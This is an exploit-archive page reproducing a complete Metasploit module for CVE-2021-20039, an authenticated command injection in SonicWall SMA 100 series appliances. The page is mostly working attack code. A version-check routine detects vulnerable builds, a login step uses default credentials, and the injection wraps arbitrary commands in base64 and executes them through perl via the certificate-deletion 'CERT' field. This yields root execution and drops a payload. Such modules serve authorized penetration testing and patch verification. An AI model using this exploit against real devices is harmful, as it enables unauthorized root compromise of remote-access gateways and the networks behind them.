what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SonicWall SMA 100 Series Authenticated Command Injection

SonicWall SMA 100 Series Authenticated Command Injection
Posted Jan 13, 2022
Authored by jbaines-r7 | Site metasploit.com

This Metasploit module exploits an authenticated command injection vulnerability in the SonicWall SMA 100 series web interface. Exploitation results in command execution as root. The affected versions are 10.2.1.2-24sv and below, 10.2.0.8-37sv and below, and 9.0.0.11-31sv and below.

tags | exploit, web, root
advisories | CVE-2021-20039
SHA-256 | 0ce8774c4d2bc66ac41f71ecbff4807d4b19a6c901b562b9cc8fa6b0d492c6be

SonicWall SMA 100 Series Authenticated Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SonicWall SMA 100 Series Authenticated Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerability
in the SonicWall SMA 100 series web interface. Exploitation results in
command execution as root. The affected versions are:

- 10.2.1.2-24sv and below
- 10.2.0.8-37sv and below
- 9.0.0.11-31sv and below
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Vulnerability discovery and Metasploit module
],
'References' => [
[ 'CVE', '2021-20039' ],
[ 'URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026'],
[ 'URL', 'https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2'],
[ 'URL', 'https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis']
],
'DisclosureDate' => '2021-12-14',
'Platform' => ['linux'],
'Arch' => [ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'echo', 'printf' ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'PrependFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'password']),
OptString.new('SWDOMAIN', [true, 'The domain to log in to', 'LocalDomain']),
OptString.new('PORTALNAME', [true, 'The portal to log in to', 'VirtualOffice'])
])
end

##
# Extract the version number from a javascript include in the login landing page.
# And compare the version against known affected. Affected versions are:
#
# 10.2.1.2-24sv and below
# 10.2.0.8-37sv and below
# 9.0.0.11-31sv and below
##
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/cgi-bin/welcome'),
'agent' => 'SonicWALL Mobile Connect'
})
return CheckCode::Unknown('Failed to retrieve the version information') unless res&.code == 200

version = res.body.match(/\.([0-9.\-a-z]+)\.js" type=/)
return CheckCode::Unknown('Failed to retrieve the version information') unless version

version = version[1]

major, minor, revision, build = version.split('.', 4)
build, point = build.split('-', 2)
print_status("Version found: #{major}.#{minor}.#{revision}.#{build}-#{point}")
point.delete_suffix('sv')

case major
when '9'
return CheckCode::Safe unless minor.to_i == 0 && revision.to_i == 0 && build.to_i <= 11 && point.to_i <= 31
when '10'
return CheckCode::Safe unless minor.to_i == 2

case revision
when '0'
return CheckCode::Safe unless build.to_i <= 8 && point.to_i <= 37
when '1'
return CheckCode::Safe unless build.to_i <= 2 && point.to_i <= 24
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
CheckCode::Appears('Based on the discovered version.')
end

def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi-bin/userLogin'),
'agent' => 'SonicWALL Mobile Connect',
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'domain' => datastore['SWDOMAIN'],
'portalname' => datastore['PORTALNAME'],
'login' => 'true',
'verifyCert' => '0',
'ajax' => 'true'
},
'keep_cookies' => true
})

fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
fail_with(Failure::NoAccess, 'Login failed') unless res.get_cookies.include?('swap=')
print_good('Authentication successful')
end

##
# Send the exploit in the "CERT" field when "deleting" a certificate. The
# backend requires the payload start with "n". Also, there is a very small
# amount of space to fit the command into (otherwise we'll trigger a bof).
# Finally! The command has a lot of disallowed characters: /$&|>;`^. Which
# is problematically for basically all the payloads. The system also is
# missing useful tools like wget, base64, and curl (10.2 has curl but
# whatever). As such, it seemed the easiest thing to do is wrap the entire
# command in base64 and then use perl to decode/execute it.
##
def execute_command(cmd, _opts = {})
cmd_encoded = Rex::Text.encode_base64(cmd)
perl_eval = "n\nperl -MMIME::Base64 -e 'system(decode_base64(\"#{cmd_encoded}\"))'"

multipart_form = Rex::MIME::Message.new
multipart_form.add_part('delete', nil, nil, 'form-data; name="buttontype"')
multipart_form.add_part(perl_eval, nil, nil, 'form-data; name="CERT"')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi-bin/viewcert'),
'agent' => 'SonicWALL Mobile Connect',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
}, 5)

if res && res.code != 200
# the response should always be 200, unless meterpreter holds the
# connection open.
fail_with(Failure::UnexpectedReply, 'Only expected 200 OK')
end
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
login
execute_cmdstager(linemax: 40)
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close